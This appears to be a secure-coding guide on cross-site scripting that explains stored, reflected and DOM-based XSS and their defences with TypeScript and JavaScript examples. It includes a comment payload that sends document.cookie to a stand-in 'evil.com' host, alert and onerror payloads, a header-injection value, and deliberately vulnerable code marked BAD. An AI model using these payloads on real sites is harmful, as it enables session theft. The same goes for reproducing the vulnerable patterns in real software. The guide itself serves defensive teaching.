|$ curl https://forge-ai.dev/api/markdown?path=docs/security/xss
$cat docs/security-—-cross-site-scripting-(xss).md
updated Recently·16 min read·published

Security — Cross-Site Scripting (XSS)

SecurityIntermediate🎯Free Tools
Introduction

Cross-Site Scripting (XSS) occurs when an attacker injects malicious scripts into web pages viewed by other users. XSS is one of the most common web vulnerabilities and has been in the OWASP Top 10 for over a decade. It exploits the browser's trust in content from a particular origin.

XSS allows attackers to steal session tokens, redirect users, deface websites, and perform actions on behalf of victims. Understanding the three types of XSS and their mitigations is essential for every web developer.

Types of XSS
TypeStorageTriggerSeverity
Stored XSSServer databaseAny user viewing the pageCritical
Reflected XSSURL / requestVictim clicks a crafted linkHigh
DOM-based XSSClient-side onlyBrowser executes unsafe DOM manipulationHigh
Stored XSS

Stored XSS (also called persistent XSS) occurs when malicious input is saved to the server and served to other users without sanitization. This is the most dangerous type because it affects every user who views the compromised content.

stored-xss.ts
TypeScript
1// Stored XSS attack scenario
2// 1. Attacker submits a comment with malicious script
3// POST /api/comments
4{
5 "body": "Great article! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"
6}
7
8// 2. Server stores the raw input in the database
9await db.comments.create({
10 body: req.body.body, // Raw, unsanitized input stored
11 userId: req.session.userId,
12});
13
14// 3. When any user views the page, the script executes in their browser
15// The attacker steals their session cookie
16
17// ────────────────────────────────────────────
18// Prevention: Sanitize on save, encode on output
19
20import DOMPurify from 'isomorphic-dompurify';
21
22// Option A: Sanitize before storing
23const clean = DOMPurify.sanitize(req.body.body, {
24 ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
25 ALLOWED_ATTR: ['href', 'target', 'rel'],
26});
27await db.comments.create({ body: clean });
28
29// Option B: Encode on output (preferred — preserves original)
30// In your template/renderer, always use context-aware encoding
31// EJS: <%- body %> is UNSAFE, <%= body %> is SAFE
32// React: {body} is SAFE (auto-escapes), dangerouslySetInnerHTML is NOT
33// Handlebars: {{body}} is SAFE, {{{body}}} is NOT

danger

Stored XSS is the most critical XSS variant because it is persistent and self-propagating. A single unsanitized comment, profile field, or forum post can compromise every user who views it. Always sanitize rich text input and encode output contextually.
Reflected XSS

Reflected XSS occurs when user input from a request (query parameters, form fields) is included in the HTML response without sanitization. The malicious payload is not stored — it is reflected back immediately from the server.

reflected-xss.ts
TypeScript
1// Reflected XSS — search feature
2// URL: https://example.com/search?q=<script>alert('xss')</script>
3
4// BAD — unsanitized query parameter rendered in HTML
5app.get('/search', (req, res) => {
6 const query = req.query.q;
7 res.send(`
8 <h1>Search results for: ${query}</h1>
9 <p>No results found.</p>
10 `);
11});
12
13// GOOD — encode output
14import escapeHtml from 'escape-html';
15
16app.get('/search', (req, res) => {
17 const query = escapeHtml(req.query.q || '');
18 res.send(`
19 <h1>Search results for: ${query}</h1>
20 <p>No results found.</p>
21 `);
22});
23
24// Also reflected in HTTP headers
25// BAD — header injection
26res.setHeader('X-Custom', req.query.value); // Attacker: \r\nInjected-Header: evil
27
28// GOOD — validate and sanitize
29const safeValue = req.query.value.replace(/[^a-zA-Z0-9-]/g, '');
30res.setHeader('X-Custom', safeValue);
31
32// Reflected XSS in error messages
33// BAD
34res.status(400).json({ error: `Invalid parameter: ${req.query.id}` });
35
36// GOOD — don't reflect user input in errors
37res.status(400).json({ error: 'Invalid parameter' });

info

Reflected XSS is typically delivered via phishing emails or malicious links. It does not require the server to store anything — the payload is entirely in the URL. Encode all reflected data before embedding in HTML, headers, or JavaScript.
DOM-based XSS

DOM-based XSS occurs entirely in the browser. The server sends a safe page, but client-side JavaScript processes untrusted data and writes it into the DOM unsafely. The payload never reaches the server, making it invisible to server-side security measures.

dom-xss.js
JavaScript
1// DOM-based XSS — unsafe client-side rendering
2// URL: https://example.com/page#<img src=x onerror=alert(document.cookie)>
3
4// BAD — writing to innerHTML with user-controlled data
5const fragment = document.location.hash.substring(1);
6document.getElementById('output').innerHTML = decodeURIComponent(fragment);
7
8// BAD — using document.write with URL parameters
9const name = new URLSearchParams(window.location.search).get('name');
10document.write('<h1>Welcome, ' + name + '</h1>');
11
12// BAD — eval with any user input
13const config = eval('(' + window.location.hash.substring(1) + ')');
14
15// GOOD — use textContent instead of innerHTML
16const fragment = document.location.hash.substring(1);
17document.getElementById('output').textContent = decodeURIComponent(fragment);
18
19// GOOD — use safe DOM APIs
20const name = new URLSearchParams(window.location.search).get('name');
21const h1 = document.createElement('h1');
22h1.textContent = 'Welcome, ' + (name || 'Guest');
23document.body.appendChild(h1);
24
25// GOOD — avoid eval entirely, use JSON.parse
26try {
27 const config = JSON.parse(decodeURIComponent(window.location.hash.substring(1)));
28} catch {
29 console.error('Invalid configuration');
30}
31
32// Common DOM XSS sinks to avoid:
33// - innerHTML, outerHTML, document.write, document.writeln
34// - element.insertAdjacentHTML
35// - eval(), setTimeout(), setInterval() with string argument
36// - new Function() with string argument
37// - window.location, document.location, document.URL
38// - element.src, element.href, element.action (set with user data)

warning

DOM-based XSS bypasses server-side defenses entirely. Even if you sanitize all server output, client-side code can reintroduce XSS. Use framework-provided safe APIs (React JSX, Vue templates) and never use innerHTML or eval with user-controlled data.
Content Security Policy (CSP)

CSP is a browser-level defense that restricts which resources (scripts, styles, images, frames) can be loaded and executed. Even if XSS occurs, a properly configured CSP can prevent the injected script from executing or phoning home.

csp-config.ts
TypeScript
1// Content Security Policy — configuring in Express
2import helmet from 'helmet';
3
4app.use(helmet({
5 contentSecurityPolicy: {
6 directives: {
7 // Default: only load from same origin
8 defaultSrc: ["'self'"],
9
10 // Scripts: only from same origin, with nonce for inline
11 scriptSrc: ["'self'", "'nonce-{random}'"],
12
13 // Styles: same origin + inline (needed for many UI libraries)
14 styleSrc: ["'self'", "'unsafe-inline'"],
15
16 // Images: same origin, data URIs, and HTTPS
17 imgSrc: ["'self'", 'data:', 'https:'],
18
19 // AJAX/WebSocket connections
20 connectSrc: ["'self'", 'https://api.example.com', 'wss://ws.example.com'],
21
22 // No frames allowed
23 frameSrc: ["'none'"],
24
25 // No plugins
26 objectSrc: ["'none'"],
27
28 // Upgrade mixed content to HTTPS
29 upgradeInsecureRequests: [],
30 },
31 },
32}));
33
34// Nonce-based CSP (per-request unique nonce)
35// Generate a unique nonce for each request
36import crypto from 'crypto';
37
38app.use((req, res, next) => {
39 const nonce = crypto.randomBytes(16).toString('base64');
40 res.locals.cspNonce = nonce;
41 res.setHeader(
42 'Content-Security-Policy',
43 `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'`
44 );
45 next();
46});
47
48// In your template, add the nonce to script tags:
49// <script nonce="{res.locals.cspNonce}"> ... </script>
50
51// Report-Only mode (test before enforcing)
52app.use(helmet({
53 contentSecurityPolicyReportOnly: true,
54 reportUri: '/csp-report',
55}));
56
57// Handling CSP violation reports
58app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
59 console.warn('[CSP Violation]', JSON.stringify(req.body));
60 res.status(204).end();
61});

best practice

Use nonce-based CSP over hash-based CSP for applications with dynamic inline scripts. Nonces are easier to manage and don't break when code changes. Always start with report-only mode, review violations, then switch to enforcement.
HTML Sanitization with DOMPurify

When you need to allow rich HTML (comments, descriptions, user profiles), use a whitelist-based sanitizer like DOMPurify. It strips all dangerous elements and attributes while preserving safe formatting.

sanitization.ts
TypeScript
1// DOMPurify — safe HTML sanitization
2import DOMPurify from 'isomorphic-dompurify';
3
4// Basic usage — strip everything except safe HTML
5const dirty = '<p>Hello <script>alert("xss")</script><img src=x onerror="steal()"><b>world</b></p>';
6const clean = DOMPurify.sanitize(dirty);
7// Result: <p>Hello <b>world</b></p>
8
9// Configure allowed tags and attributes
10const clean = DOMPurify.sanitize(dirty, {
11 ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'br', 'ul', 'ol', 'li', 'code', 'pre'],
12 ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
13 ALLOW_DATA_ATTR: false, // Prevent data-* attributes
14 ADD_ATTR: ['target'], // Add specific attributes
15 FORBID_TAGS: ['style', 'form', 'input'],
16 FORBID_ATTR: ['onerror', 'onclick', 'onload'],
17});
18
19// For a rich text editor (e.g., blog posts, comments)
20const allowedConfig = {
21 ALLOWED_TAGS: [
22 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
23 'p', 'br', 'hr',
24 'b', 'i', 'em', 'strong', 'u', 's', 'mark',
25 'a', 'img',
26 'ul', 'ol', 'li',
27 'blockquote', 'pre', 'code',
28 'table', 'thead', 'tbody', 'tr', 'th', 'td',
29 ],
30 ALLOWED_ATTR: [
31 'href', 'src', 'alt', 'title', 'width', 'height',
32 'target', 'rel', 'class', 'id',
33 ],
34 ALLOW_DATA_ATTR: false,
35};
36
37// Sanitize user profile bio
38app.put('/api/profile/bio', (req, res) => {
39 const { bio } = req.body;
40
41 if (typeof bio !== 'string') {
42 return res.status(400).json({ error: 'Bio must be a string' });
43 }
44
45 if (bio.length > 5000) {
46 return res.status(400).json({ error: 'Bio too long (max 5000 chars)' });
47 }
48
49 const cleanBio = DOMPurify.sanitize(bio, allowedConfig);
50 // Store cleanBio, never the raw input
51 db.users.update(req.session.userId, { bio: cleanBio });
52 res.json({ bio: cleanBio });
53});

danger

Never write your own HTML sanitizer. Regex-based sanitization is fundamentally flawed — attackers will bypass it. Use DOMPurify, which handles edge cases like mutation XSS, SVG injection, and MathML payloads that simpler approaches miss.
Framework-Specific XSS Defenses

Modern frameworks auto-escape output by default, but there are specific patterns that bypass these protections. Knowing the escape hatches in your framework is critical.

framework-xss.tsx
TSX
1// React — auto-escapes by default, but these patterns are unsafe
2
3// SAFE — JSX auto-escapes
4function UserProfile({ name }) {
5 return <div>{name}</div>; // name is escaped
6}
7
8// UNSAFE — dangerouslySetInnerHTML
9function UserProfile({ bio }) {
10 return <div dangerouslySetInnerHTML={{ __html: bio }} />; // XSS if bio is user input
11}
12
13// SAFE — sanitize before using dangerouslySetInnerHTML
14import DOMPurify from 'isomorphic-dompurify';
15
16function UserProfile({ bio }) {
17 return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(bio) }} />;
18}
19
20// UNSAFE — href with user input
21function UserLink({ url }) {
22 return <a href={url}>Link</a>; // javascript: protocol possible
23}
24
25// SAFE — validate URL protocol
26function UserLink({ url }) {
27 const safeUrl = url.startsWith('http://') || url.startsWith('https://') ? url : '#';
28 return <a href={safeUrl} rel="noopener noreferrer">Link</a>;
29}
30
31// UNSAFE — JSX expression with user input in attributes
32<img src={userInput} /> // Could be: javascript:alert(1)
33
34// ────────────────────────────────────────────
35
36// Next.js — App Router (RSC) is safe by default
37// Server Components cannot use dangerouslySetInnerHTML accidentally
38// Client Components have the same rules as React
39
40// Vue — auto-escapes in {{ }} and v-bind, but v-html is unsafe
41// <div v-html="userInput"></div> <!-- XSS! -->
42// <div>{{ userInput }}</div> <!-- SAFE -->
43
44// Svelte — auto-escapes with {}, but {@html } is unsafe
45// {@html userInput} <!-- XSS! -->
46// {userInput} <!-- SAFE -->
Context-Aware Output Encoding

XSS prevention requires encoding output differently depending on where the data is rendered. HTML context, JavaScript context, URL context, and CSS context each have different encoding rules.

output-encoding.ts
TypeScript
1// Context-aware encoding — each context needs different escaping
2
3// HTML context (inside a tag's text content)
4// Encode: < > & " '
5import escapeHtml from 'escape-html';
6const html = escapeHtml(userInput);
7// <script> → &lt;script&gt;
8
9// HTML attribute context (inside an attribute value)
10// Must be quoted AND encoded
11const attr = escapeHtml(userInput);
12// Use: <div title="{attr}">
13
14// JavaScript context (inside a <script> tag)
15// NEVER put user input directly in JavaScript
16// If unavoidable, JSON.stringify and validate
17const safe = JSON.stringify(userInput);
18// Use: var data = {safe};
19
20// URL context (in href, src, action)
21// Encode everything except allowed URL characters
22const url = encodeURIComponent(userInput);
23// Use: <a href="/redirect?url={url}">
24
25// CSS context (in style attributes or <style> tags)
26// NEVER allow user input in CSS — it can execute JavaScript
27// CSS: url("javascript:alert(1)")
28
29// Best practice: don't concatenate strings into HTML
30// Use a template engine with auto-escaping instead
31// EJS: <%= variable %> (escaped) vs <%- variable %> (raw)
32// Pug: #{variable} (escaped) vs !{variable} (raw)
33// Handlebars: {{variable}} (escaped) vs {{{variable}}} (raw)
34
35// Double encoding prevention
36// Some applications decode input once, then serve it — the second decode executes the payload
37// Always encode once and serve the encoded output directly
XSS Prevention Summary
DefenseProtects AgainstLayer
Output encodingAll XSS typesApplication
DOMPurify sanitizationStored XSS (rich text)Application
CSP with noncesAll XSS (script execution)Browser
HttpOnly cookiesCookie theft via XSSBrowser
Framework auto-escapingReflected + Stored XSSApplication
Trusted TypesDOM XSSBrowser API
Best Practices
  • Never use innerHTML, outerHTML, or document.write with user-controlled data.
  • Use textContent or framework auto-escaping for all user-provided content.
  • Sanitize rich HTML with DOMPurify — never write your own sanitizer.
  • Deploy CSP with nonces or hashes — start in report-only mode, then enforce.
  • Validate and sanitize input on the server, even if the client validates it.
  • Use HttpOnly cookies for session tokens to prevent XSS-based token theft.
  • Set Trusted Types in your Content Security Policy to prevent DOM XSS.
  • Audit code for innerHTML usage — it is the single biggest source of DOM XSS.
  • Use SAST tools to detect XSS patterns in CI/CD pipelines.
  • Test XSS with payloads from PortSwigger's XSS cheat sheet, not just <script>alert</script>.

info

Modern SPAs (React, Vue, Svelte) auto-escape by default. XSS vulnerabilities in these frameworks almost always come from dangerouslySetInnerHTML, v-html, or {@html} — audit these escape hatches carefully. For server-rendered templates, always use auto-escaping mode.
$Blueprint — Engineering Documentation·Section ID: SEC-XSS·Revision: 1.0